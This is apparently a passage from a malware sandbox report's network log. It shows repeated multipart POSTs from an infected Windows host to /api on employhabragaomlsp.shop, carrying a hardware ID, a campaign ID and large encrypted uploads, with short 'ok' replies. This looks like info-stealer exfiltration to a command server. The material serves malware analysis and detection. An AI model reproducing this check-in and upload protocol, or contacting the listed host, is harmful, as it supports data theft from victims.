2024-05-24 07:43:16 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 35 45 45 30 34 45 36 36 37 37 43 46 31 39 43 31 45 33 46 33 44 30 34 44 33 45 43 31 32 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"CC5EE04E6677CF19C1E3F3D04D3EC123--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 07:43:16 UTC	15331	OUT	Data Raw: 08 f9 00 7e 57 c5 0a 53 89 95 d2 8c 25 80 a4 27 61 c1 94 c7 61 af 00 db 4c 01 fc 2e bc d6 77 18 87 64 f4 b6 c2 6b 8c a1 f3 92 34 fc 6e b2 8b 08 38 a3 8e 85 71 5c ec 9a 35 3a 54 71 fb ea 7e ae db 76 90 1a e4 f8 ff 56 29 69 3e 40 b7 df 15 dc 41 83 7a 32 b9 27 08 78 6d e1 60 01 9a 82 73 5a 58 78 89 19 bb 27 ad 54 00 e2 fd b9 60 94 7a 8c c1 5b 30 b4 6d b3 84 18 87 a4 7a 85 c1 a5 c4 34 07 37 1c 68 90 e7 05 18 a3 63 b6 67 38 94 40 72 2a 30 75 3b bf 48 93 e6 b7 f9 39 39 ec e1 17 23 a6 68 a7 94 97 23 17 8a 1e 31 8e 7f b5 38 a5 c2 9b d6 8a a3 56 98 ca 6a 0c c1 32 3d 45 88 0d e0 fd 28 2a c6 14 5c c0 b0 28 29 5b 0d fe 2e f2 9c 5a 47 22 97 b4 22 5f c5 3f 66 3c be 6a 27 41 25 33 d2 b1 b0 c4 b2 e6 cc bb 25 e0 b7 87 a6 8d 0e 14 04 3f fa d1 ec cd 23 23 81 2a f1 6b 37 8f Data Ascii: ~WS%'aaL.wdk4n8q\5:Tq~vV)i>@Az2'xm`sZXx'T`z[0mz47hcg8@r0u;H99#h#18Vj2=E(\()[.ZG""_?f<j'A%3%?##*k7
2024-05-24 07:43:16 UTC	15331	OUT	Data Raw: 11 45 95 08 c9 5b 56 46 d2 d8 c7 91 36 66 4e af a6 33 da 7f ad 41 73 08 cb 1b 05 a5 b0 2f ea ad 72 9b 04 1c b9 a9 30 96 3f 11 d1 42 91 08 f6 92 a0 9d 7a 80 eb 78 81 a0 22 65 86 c1 5e a9 c8 12 d3 b5 cc 47 c3 a6 62 b4 ca f8 f4 b3 ca 75 c9 10 01 e2 9e ee 77 f9 4d 74 93 29 58 28 46 4b f5 21 5e ae f0 85 c6 ec 87 42 91 b1 dd 93 86 c0 07 89 7e 53 a7 14 81 98 a0 92 6b 4a 31 3a e8 9e c1 70 a1 d9 2f 46 d3 83 1d eb f4 12 8b fd 9d e7 99 92 e8 70 41 de be 7a fa 5f aa ae df e3 28 0c 83 32 ce dc 9c 91 df ea 9b 63 96 9c 01 69 84 df f9 8a dc 5c 37 83 08 d7 da 11 aa f5 fd 01 f2 9e ae eb 11 94 2b 67 b8 2e 6f f0 d0 e8 ab f9 a9 ef 62 97 2b ff 0a fa d9 a2 b1 19 ef ed 02 f9 68 c2 99 27 c8 98 3b 98 bb 0f 16 2f c5 64 e5 a9 dd 89 67 93 5a 0f 92 2f 30 1a 16 4e b0 1b 75 f3 24 c2 98 Data Ascii: E[VF6fN3As/r0?Bzx"e^GbuwMt)X(FK!^B~SkJ1:p/FpAz_(2ci\7+g.ob+h';/dgZ/0Nu$
2024-05-24 07:43:16 UTC	15331	OUT	Data Raw: 37 68 9f 1c 44 88 bb 7b 07 a8 be d0 e5 f4 7b cb 90 a2 af 7e 7b 52 62 bb f4 d5 9e 7a 71 e9 d9 d5 30 60 1b 83 9a 63 9b b5 e6 95 00 0c f5 f7 dd 8f 47 5e 31 5d fa 82 33 50 07 5a e6 9b f7 3d 5a 27 5c 0d 57 4a 4d f1 b6 0e 46 f9 ef ae 4d fd 45 d0 4d 11 14 7f 11 3b e0 0b ce d8 fc 57 34 39 7a bd a3 ce 28 67 69 a2 d9 6a 7b a9 e8 a3 13 2f 39 5a 7e 77 49 cd 27 ae d9 ce f9 f0 eb 85 f7 fe 7b 19 b2 c3 82 77 28 6e 1f d0 bd c8 cf 0f 39 d2 0f 08 ff d5 52 52 37 37 39 17 a9 ae a1 4b 76 1f 6f f4 46 2d 89 dc 44 7b dc 73 4d 12 4a 6a d0 13 34 73 01 63 6d 6a 4c a5 6e 6f 41 70 6d 09 76 1e a5 6e 1e 97 a1 13 06 b7 fc ee 9c fc dc 8d 63 f6 b4 1f 2d 49 5b 78 44 d9 db dd fe 71 2e b5 f2 07 c7 20 ce 82 22 7b b5 f9 2e 4f f1 e2 39 9a 5f 59 6b 3f f9 d3 ee 19 9e 7e cb 9f aa 07 dd 5e 7d b0 55 Data Ascii: 7hD{{~{Rbzq0`cG^1]3PZ=Z'\WJMFMEM;W49z(gij{/9Z~wI'{w(n9RR779KvoF-D{sMJj4scmjLnoApmvnc-I[xDq. "{.O9_Yk?~^}U
2024-05-24 07:43:16 UTC	15331	OUT	Data Raw: 93 37 61 53 7d 7f 2e 0e 6e 1e d4 11 ee f2 d5 3a cd f1 91 32 1a 6f 73 f0 2a 27 e7 2c 78 0d 8d bc 50 5d aa 4d ae 2a 4b 42 c7 1e 50 1d b1 e0 d8 04 ef 77 76 91 17 db bd b3 a7 95 e9 f6 90 db ac 59 99 f7 e4 ef b1 92 0c 78 55 e0 66 75 86 6b 2e c4 5b 46 f4 22 0c e6 b8 e0 0f 33 06 37 f7 22 84 80 d1 44 2e 54 47 04 7a af cf f0 11 07 c7 d5 6c 76 20 cf 43 e9 0d 51 ff 2b 93 b6 c8 a0 80 db 5e 93 4e 45 f7 91 e0 c3 bd cc 26 1e 30 44 71 1c b5 56 75 c1 08 ef bc 7b ff e9 f0 7b 6d 53 7f 2d 49 87 fb 47 24 6d ee a9 bc 57 36 27 a5 fb a1 ff 3e a0 35 2d 9c 4c 58 81 18 fe 89 54 be ff ff 2b b9 21 09 4a c7 78 e0 3c b0 f8 67 e0 92 cc e2 1b 21 46 55 39 25 a5 05 59 0c 7f 5e 2c 79 54 c4 c3 41 38 4f b5 7f e2 ec 08 27 7c 97 28 cb 4a 10 44 fc d9 9e 0e 54 b4 9f 21 89 b5 06 a9 81 5b 51 da d4 Data Ascii: 7aS}.n:2os',xP]MKBPwvYxUfuk.[F"37"D.TGzlv CQ+^NE&0DqVu{{mS-IG$mW6'>5-LXT+!Jx<g!FU9%Y^,yTA8O'\|(JDT![Q
2024-05-24 07:43:16 UTC	15331	OUT	Data Raw: de 4a ac 10 6e 10 a4 34 b9 f1 bd 9c 38 db 39 b9 b4 36 64 e3 56 31 bf ce 2c 42 ce a9 4e 42 b8 a9 1c 59 61 d1 f8 79 b9 06 5b 2d 5f e8 62 4f 28 90 7b 16 55 48 6a 34 30 f0 15 f8 71 b0 25 90 aa ae dc ea ad 5d 9b 00 c5 7b 6f fb 3c 4b d3 42 06 16 6c bf da 51 2b 62 2d c3 08 40 ec aa 75 46 29 87 eb 73 6c bb 38 a6 f4 0b 61 40 d0 8d b1 7b 7c 3d f7 8f dc dd 9a 74 aa 57 ec 2e 72 f6 68 4b 16 2a 51 89 36 14 b3 1f ef bb fc d1 c8 e6 9b be 67 81 a0 a1 46 53 d8 16 5f d8 e9 36 be e2 7c c3 59 c7 d8 de 8a ed 07 3f 82 0c 7f 08 9d 73 96 fd 55 97 f8 0c fa 5d 82 cd ad 4c c4 10 c0 83 a1 02 7a 6b db a0 bc 2d f7 87 2b 24 9c 8d e8 1d c4 ad df a2 17 1c d5 39 bc a5 8f 3b c4 f1 47 4d 6c 1d a5 17 99 19 90 0c ab 24 19 d1 fb d4 d4 67 f5 e4 31 21 b0 cf 8f ea 90 fe 29 e6 79 90 7f 15 23 47 88 Data Ascii: Jn4896dV1,BNBYay[-_bO({UHj40q%]{o<KBlQ+b-@uF)sl8a@{\|=tW.rhK*Q6gFS_6\|Y?sU]Lzk-+$9;GMl$g1!)y#G
2024-05-24 07:43:16 UTC	15331	OUT	Data Raw: 58 cc 46 22 0f 61 64 79 9b 65 ed 42 a6 d7 7f 96 53 e4 44 c9 bb ba 9e b3 4a fe bf b6 8a 9f 38 59 04 7c bd 73 38 2f ae ca e3 cd be b6 c0 38 dd be 6f 48 bc 3b f7 ad 2a 6b 58 a2 09 76 e1 54 09 32 52 10 e4 a1 03 ab 4b 33 92 d2 38 41 c8 0d d4 b9 cd 14 a4 ee 66 c3 26 ca 1d 6e 55 3d 14 fd 71 11 10 56 bd 83 c0 2d 9c cc 6c e6 04 07 aa e4 7f 5b f6 ca c6 47 2f 19 70 ed ce f2 90 ac 97 a9 7f fd eb e3 47 c8 1f 3b e3 b3 81 04 f1 de 1b b8 45 1c b2 fc 96 63 9a fb 5c 49 7c 35 5e d1 8a 96 c4 58 ff 99 89 8f 7c b2 19 9a 82 48 be cd c2 6c 8e db 92 86 12 0a b4 91 70 f3 01 2b d2 04 9d 95 3b ab a5 df e6 a3 59 3f a3 44 6f a2 01 6e 73 f5 67 1a cb 67 08 41 bf 36 ba f4 38 e7 5e 20 93 1d e0 5c fd e3 5a 94 43 2f 58 ac 11 02 57 37 46 4b 3e d6 48 8f 56 2a f5 6d 56 c2 d4 c7 00 44 97 d2 df Data Ascii: XF"adyeBSDJ8Y\|s8/8oH;kXvT2RK38Af&nU=qV-l[G/pG;Ec\I\|5^X\|Hlp+;Y?DonsggA68^ \ZC/XW7FK>HVmVD
2024-05-24 07:43:16 UTC	15331	OUT	Data Raw: ac bb 83 24 e8 be 43 fd 49 24 84 c8 21 e6 9d a8 07 02 e6 e0 75 c3 f9 6b a1 30 e1 79 88 3e 7f e2 e2 50 85 c3 68 5e 3a 41 44 93 a1 90 ae f8 9a 9c e0 69 0a 9b d6 c3 65 52 5d 54 ee bb 69 9b 8b 61 18 98 40 76 e6 fb d5 fe df f6 b4 16 bd cc 1f 09 9b 80 e7 c0 dc 73 14 2c 3b 7f 66 fc 05 16 e6 c3 f1 2e 4a 63 3b c7 27 e6 5c d9 f6 03 91 06 44 6d 94 99 58 5f d1 0d fb 5a 17 a5 f4 b9 f1 14 b3 0b 8a 97 94 32 0c e6 d4 db 5c 63 ed 6b 88 f2 a1 7a 97 04 e3 c9 fc 80 57 60 3d b6 ea a8 6b 7d a7 59 d3 f8 fe 10 47 a9 00 24 66 95 af a8 97 fe c0 d3 9f 84 bd be 6f d1 1b 4a 46 76 a7 c6 b5 d4 f0 9e 88 06 9a cd a7 c1 6f e5 ab fa 25 9e 9c 17 65 0f 8e 0f 4b f4 3b 6d 3a ff 8b 78 42 29 dc 3f 55 7f 55 80 14 e8 11 c3 18 36 ca ef 29 09 b8 e6 b5 b4 f9 25 11 4f aa 35 95 4b ff 79 9d 76 56 6f a8 Data Ascii: $CI$!uk0y>Ph^:ADieR]Tia@vs,;f.Jc;'\DmX_Z2\ckzW`=k}YG$foJFvo%eK;m:xB)?UU6)%O5KyvVo
2024-05-24 07:43:16 UTC	15331	OUT	Data Raw: 42 cd 8b c4 fd 3d 80 3e 98 89 d0 92 20 66 be 2c a8 ba bc 1f c0 ff f2 82 68 83 49 f7 ca 9c b5 97 89 2d 64 6d 2c d7 01 f5 5d 93 47 60 bb 99 c3 8c 14 b8 ba db 54 1e 22 c5 c3 41 c8 32 e1 0c 4b f7 d1 64 f8 35 99 17 63 17 24 b1 c4 29 be 8e 5f 09 7e 0b c2 ad 04 44 a4 9b 9f c7 fc 03 15 ee dc 9e 0a f5 4e 87 8e 25 c8 32 1b d7 69 22 f8 5d b2 f0 3b 80 72 1b 4a 8a dd 3a f8 3c 84 88 bf c1 b8 98 6c 3b db 5d 34 ac c7 96 11 16 72 e3 1e bc 36 5a 20 1c a5 d2 09 b8 13 73 e1 47 09 b0 96 e1 af 39 26 e7 95 4e 5b 43 b4 84 a8 10 a4 bc 11 a8 43 15 26 88 d0 09 fb 2e d5 3f 80 f8 21 3e 7e 41 89 6f 35 07 1e c5 ca 3f fd 04 0e f4 7e 6d ca 47 99 35 04 4b 70 de 80 f4 27 c1 aa 08 5a b0 6b 4c e3 8b 27 83 ea 0e f9 ed 01 7c b3 49 79 64 7e be d9 2d 7a 54 98 a0 30 53 7b 59 98 ef 5b f5 67 79 86 Data Ascii: B=> f,hI-dm,]G`T"A2Kd5c$)_~DN%2i"];rJ:<l;]4r6Z sG9&N[CC&.?!>~Ao5?~mG5Kp'ZkL'\|Iyd~-zT0S{Y[gy
2024-05-24 07:43:16 UTC	15331	OUT	Data Raw: fc fd e4 5c 68 fb be 00 ce 51 b3 15 2f c4 06 60 1f 6d 91 ee ff 0f 50 66 9f 6b 3d 2a 34 06 e9 e6 8c 0d bd fd 4f b7 8f c3 c6 77 41 dd 82 6c fe b9 ea fb 87 6f 49 10 b6 1b 05 70 7b 21 32 3f 94 b1 27 7a 28 36 df c8 0e 05 c3 61 b6 bb b7 59 fa 73 d6 ad 9f c1 f5 21 bc dc 29 2c bb 20 fb e8 7e 69 e6 ad 06 35 9b d3 c8 da c6 b8 ef 2f 7d 73 bc 14 c0 1e 3c 27 20 b2 6a 31 46 ea a4 93 2f f7 43 b3 ab 83 2c ad 68 c2 82 9f 2c ce 79 fc d5 fc 36 c0 4f 20 fe 1a 21 06 e1 82 71 5b bf 9e 5d 1a 4d 12 a1 f8 42 e6 8e f9 19 08 99 87 f5 a2 3b 04 9b b2 b4 0e 81 c3 d6 e9 b5 35 46 ab 81 69 4d 68 d3 52 0c 3f bd 91 87 62 6e 52 cc 3d cf b2 d6 93 3e 5d 4f e3 05 93 1b e8 19 3b d0 f4 4b 58 63 81 f2 3a a9 56 36 5d b1 3e 50 56 64 4c e7 8d 72 62 b8 b7 14 b3 59 65 de db 15 f1 4d bf 55 e9 a1 78 ce Data Ascii: \hQ/`mPfk=*4OwAloIp{!2?'z(6aYs!), ~i5/}s<' j1F/C,h,y6O !q[]MB;5FiMhR?bnR=>]O;KXc:V6]>PVdLrbYeMUx
2024-05-24 07:43:17 UTC	820	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:43:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7k8emf95kja7f1sf8gobvl8btq; expires=Tue, 17-Sep-2024 01:29:56 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iuaMl%2BQRTNjuy1sWvO52uAaUVUHmoBndmRvnJlZS07XGg170juxKHV%2FQjl%2BZJ2H0z%2BVz8lCig4q%2BFtDTRnjePQM9pGH4a2v%2B2g1l87elSQmWXHlsOz03ARCH0HrMNl%2F1e0LfvGVSuJOvmQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888ba75d89544327-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.4	49976	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:16 UTC	289	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18158 Host: employhabragaomlsp.shop
2024-05-24 07:43:16 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 35 45 45 30 34 45 36 36 37 37 43 46 31 39 43 31 45 33 46 33 44 30 34 44 33 45 43 31 32 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"CC5EE04E6677CF19C1E3F3D04D3EC123--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 07:43:16 UTC	2827	OUT	Data Raw: 4d e7 b8 03 4d ad dd 29 81 f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa 33 f8 52 f0 fd e9 0a 3f 6c af 16 Data Ascii: MM)%ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'3R?l
2024-05-24 07:43:16 UTC	816	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:43:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=h1bn455rtdepq0o0rfhovmmlgo; expires=Tue, 17-Sep-2024 01:29:55 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=m%2FIPf9TUKAjchcR%2BD54paD49AkOf2ceYdovPovQWp0XURvSWrrgAZdY8yaPoxOPNZuP11qLnVe70mKeTShv755gotEsiIpF%2BCf6zsIU%2BgHQX6RA5ma4x%2F4uZa7JYgNrXrBUBladnh35fLQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888ba7604c7d1821-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 07:43:16 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a Data Ascii: fok 8.46.123.175
2024-05-24 07:43:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.4	49975	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:16 UTC	289	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18158 Host: employhabragaomlsp.shop
2024-05-24 07:43:16 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 35 45 45 30 34 45 36 36 37 37 43 46 31 39 43 31 45 33 46 33 44 30 34 44 33 45 43 31 32 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"CC5EE04E6677CF19C1E3F3D04D3EC123--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 07:43:16 UTC	2827	OUT	Data Raw: 4d e7 b8 03 4d ad dd 29 81 f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa 33 f8 52 f0 fd e9 0a 3f 6c af 16 Data Ascii: MM)%ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'3R?l
2024-05-24 07:43:17 UTC	816	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:43:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=skdpcbgmjv35oeu4vp2v3i04pb; expires=Tue, 17-Sep-2024 01:29:56 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cFMMucxt%2BlgHXm4SQ7NH6YdZW%2B%2F0x2dEbFqIv14m6UJ8n8jVuU5O6oABJxQSgfICzH0ME%2BWcw3P2Eg5%2FsW94htJyZLG0duCMNnluUEpuW2fpIQeal09fZ9WFGT4VvLiLYnfmxWhkn5EFig%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888ba7608cee8c69-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 07:43:17 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a Data Ascii: fok 8.46.123.175
2024-05-24 07:43:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.4	49978	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:16 UTC	290	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 571344 Host: employhabragaomlsp.shop
2024-05-24 07:43:16 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 35 45 45 30 34 45 36 36 37 37 43 46 31 39 43 31 45 33 46 33 44 30 34 44 33 45 43 31 32 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"CC5EE04E6677CF19C1E3F3D04D3EC123--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 07:43:16 UTC	15331	OUT	Data Raw: 08 f9 00 7e 57 c5 0a 53 89 95 d2 8c 25 80 a4 27 61 c1 94 c7 61 af 00 db 4c 01 fc 2e bc d6 77 18 87 64 f4 b6 c2 6b 8c a1 f3 92 34 fc 6e b2 8b 08 38 a3 8e 85 71 5c ec 9a 35 3a 54 71 fb ea 7e ae db 76 90 1a e4 f8 ff 56 29 69 3e 40 b7 df 15 dc 41 83 7a 32 b9 27 08 78 6d e1 60 01 9a 82 73 5a 58 78 89 19 bb 27 ad 54 00 e2 fd b9 60 94 7a 8c c1 5b 30 b4 6d b3 84 18 87 a4 7a 85 c1 a5 c4 34 07 37 1c 68 90 e7 05 18 a3 63 b6 67 38 94 40 72 2a 30 75 3b bf 48 93 e6 b7 f9 39 39 ec e1 17 23 a6 68 a7 94 97 23 17 8a 1e 31 8e 7f b5 38 a5 c2 9b d6 8a a3 56 98 ca 6a 0c c1 32 3d 45 88 0d e0 fd 28 2a c6 14 5c c0 b0 28 29 5b 0d fe 2e f2 9c 5a 47 22 97 b4 22 5f c5 3f 66 3c be 6a 27 41 25 33 d2 b1 b0 c4 b2 e6 cc bb 25 e0 b7 87 a6 8d 0e 14 04 3f fa d1 ec cd 23 23 81 2a f1 6b 37 8f Data Ascii: ~WS%'aaL.wdk4n8q\5:Tq~vV)i>@Az2'xm`sZXx'T`z[0mz47hcg8@r0u;H99#h#18Vj2=E(\()[.ZG""_?f<j'A%3%?##*k7
